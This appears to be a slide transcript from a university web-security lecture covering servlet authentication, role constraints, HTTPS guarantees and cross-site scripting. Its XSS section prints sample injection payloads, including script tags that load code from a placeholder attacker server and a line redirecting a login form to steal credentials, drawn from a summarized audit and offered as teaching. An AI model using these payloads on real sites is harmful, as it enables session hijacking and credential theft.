Slide 1

Transcript Slide 1

COMP 321
Week 12
Overview
Web Application Security
 Authentication
 Authorization
 Confidentiality
Cross-Site Scripting
Lab 12-1 Introduction
Types of “Bad Guys”
Impersonators: pretend to be someone
with access
Upgraders: have valid accounts, but
increase their access level
Eavesdroppers: listen in on web traffic
Security Answer
Authentication: foils impersonators
Authorization: foils upgraders
Confidentiality and Data Integrity: foils
eavesdroppers
HTTP Authentication
1. Client requests protected resource
2. Container returns 401 - Unauthorized
3. Browser asks the user for username and
password
4. Browser requests resource again with
credentials
5. Container verifies credentials
6. Container returns resource
Authorization - Defining Roles

<tomcat-users>
<role rolename="Admin"/>
<role rolename="Member"/>
<role rolename="Guest"/>
<user username="Annie" password="admin" roles="Admin, Member, Guest"/>
<user username="Diane" password="coder" roles="Member, Guest"/>
<user username="Ted" password="newbie" roles="Guest"/>
</tomcat-users>

<security-role><role-name>Admin</role-name></security-role>
<security-role><role-name>Member</role-name></security-role>
<security-role><role-name>Guest</role-name></security-role>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
Authorization - Defining Constraints
<web-app ...>
<security-constraint>
<web-resource-collection>
<web-resource-name>UpdateRecipes</web-resource-name>
<url-pattern>/Beer/AddRecipe/*</url-pattern>
<url-pattern>/Beer/ReviewRecipe/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>Admin</role-name>
<role-name>Member</role-name>
</auth-constraint>
</security-constraint>
</web-app>
Sharpen Your Pencil
// In servlet
if
(request.isUserInRole("Manager"))
{
// Do something
}
else {
// Do something else
}
Consider the code above. What security step must have happened before
this snippet runs?
What security step is implied by this snippet?
What part, if any, does the DD play in this snippet?
How do you think this code works?
What if the role of Manager doesn't exist in your container?
Sharpen Your Pencil
Consider the code above. What security step must have happened before
this snippet runs? Authentication
What security step is implied by this snippet? Authorization
What part, if any, does the DD play in this snippet? It can be used to link
the role name Manager to a role defined in the container (as below).
How do you think this code works?
What if the role of Manager doesn't exist in your container?
<web-app ...>
<servlet>
<security-role-ref>
<role-name>Manager</role-name>
<role-link>Admin</role-link>
</security-role-ref>
</servlet>
...
</web-app>
Sharpen Your Pencil
Based on the constraints shown below, decide who can access the protected
resources:
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Yes
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint/>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint/>
</security-constraint>
Nobody? Yes
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Admin</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Admin</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Yes
Member?
Admin?
Yes
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint>
<role-name>*</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Guest</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint>
<role-name>*</role-name>
</auth-constraint>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone? Yes
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Member</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>

</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Member</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>

</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone? Yes
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Member</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint/>
</security-constraint>
Nobody?
Guest?
Member?
Admin?
Everyone?
Sharpen Your Pencil
<security-constraint>
<auth-constraint>
<role-name>Member</role-name>
</auth-constraint>
</security-constraint>
<security-constraint>
<auth-constraint/>
</security-constraint>
Nobody? Yes
Guest?
Member?
Admin?
Everyone?
Authentication
BASIC – Pops up dialog, sends login information
encoded in base64 format
DIGEST – Sends information in a more secure
way, not part of J2EE
CLIENT-CERT – Sends login information
encrypted with public key, but requires client to
have the certificate installed
FORM – Allows custom login form to be created
in HTML, sends login information in the clear
Authentication

<login-config>
<auth-method>BASIC</auth-method>
</login-config>

<login-config>
<auth-method>FORM</auth-method>
<form-login-config>
<form-login-page>/loginPage.html</form-login-page>
<form-error-page>/loginError.html</form-error-page>
</form-login-config>
</login-config>
Authentication

You need to log in
<form method="POST" action="j_security_check">
<input type="text" name="j_username">
<input type="password" name="j_password">
<input type="submit" value="Enter">
</form>

<html><body>
Sorry, wrong password.
</body></html>
Confidentiality and Data Integrity
<web-app ...>
<security-constraint>
<web-resource-collection>
<web-resource-name>Recipes</web-resource-name>
<url-pattern>/Beer/UpdateRecipes/*</url-pattern>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>Member</role-name>
</auth-constraint>
<user-data-constraint>

<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
</web-app>
Confidentiality and Data Integrity
1.
2.
3.
4.
5.
Client requests constrained resource with transport
guarantee (/BuyStuff.jsp)
Container sends a 301 Redirect to the client for
https://...
Browser makes same request over secure connection
Container sees resource is constrained, so responds
with 401, causing user to log in
Browser makes same request for a third time with
credentials included, and finally receives page
Cross-Site Scripting
A way of putting JavaScript into a
vulnerable site that will be executed by
other users' browsers
One of the biggest vulnerabilities on the
web right now, along with SQL injection
Cross-Site Scripting
Cross-Site Scripting

<form action = './preview.do' method = 'POST'>
Image: <input type = 'text' name = 'image'><br />
Alignment: <select name = 'orientation'><option value =
'center'>center</option><option value = 'left'>left</option></select><br />
Width: <input name = "width" size = "4" type = 'text' maxlength = '3'><br />
<input type = 'submit'>
</form>

http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img src =
'http://www.google.com/images/logo_sm.gif' width = ''></div>
Attacker Running their own JavaScript!

http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>

http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img src =
'http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>'
width = ''></div>
Opportunities for “Bad Guys”
Change page contents
Install malware, and make your site look
like the bad guy
Steal cookies, and hijack someone else's
session
Strategies for Prevention
Sanitize the inputs from the user, and
make sure they don't contain script
Fix the image and width fields in the code
that handles form submission. Are we
safe now?
Cross-Site Scripting

<form action = './preview.do' method = 'POST'>
Image: <input type = 'text' name = 'image'><br />
Alignment: <input type = 'text' name = 'orientation'><br />
Width: <input name = "width" size = "4" type = 'text' maxlength = '3'><br />
<input type = 'submit'>
</form>
XSS Audit
David Zimmer performed an XSS audit of
a forum site, and posted his thought
process here:
http://sandsprite.com/Sleuth/papers/Real
World_XSS_3.html
XSS Audit
First vulnerability: User name not checked for
script tags
Added code to his username:
<img src='http://valid address/clear.gif'
onload='document.scripts(0).src="http://myserver/evil.js"'>
This is displayed on every page where the user
has posted
Evil.js contained a document.writeln
Used server logs to see how many people were
affected
XSS Audit
Second vulnerability: Article name not checked for script
tags, but limited to 45 characters
This is 55 characters:
<script src='http://geocities.com/dzzie/x.js'></script>
Third vulnerability: User pictures were not validated at
upload, simply saved to disk
Upload "image" file, server calls it /images/778237.jpg
Change article title
<script src='images/778237.jpg'></script>
Now users can be attacked by viewing the article list
Image file is really a script that sends log data, and then
redirects to a real image
XSS Audit
Fourth vulnerability: Login handling
When a user tries to go to a page that
requires an account, the site redirects to
login page with referrer as the page the
user tried to visit
If the user can be convinced to click a link
with a script in the referrer, then they will
be asked to log in and the script will then
be executed
XSS Audit
To make the link less suspicious, we can
encode the script
http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69p
t%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E
Then we can make the login form submit
to our own site
document.forms(0).action = "http://myserver/myscript.asp"
XSS Prevention
Don’t allow script tags
 Do this with a whitelist, there are too many
possible ways to encode tags otherwise
Validate any content that users can upload
to your site - text, images, etc.
Remember that anything running on the
client is NOT trusted
Lab 12-1 Introduction
Design solution for the final Lab (13-1)
Define Interface for your Actions
Design Data Model that will hold the info
about:
– what actions should be used for which URLs
– what JSPs should be used for each return
code
Progress Check
Due this week
Due next week
Continue working on Lab 10-1 “JSP User
Interfaces”

Slide 1

Transcript Slide 1

Directory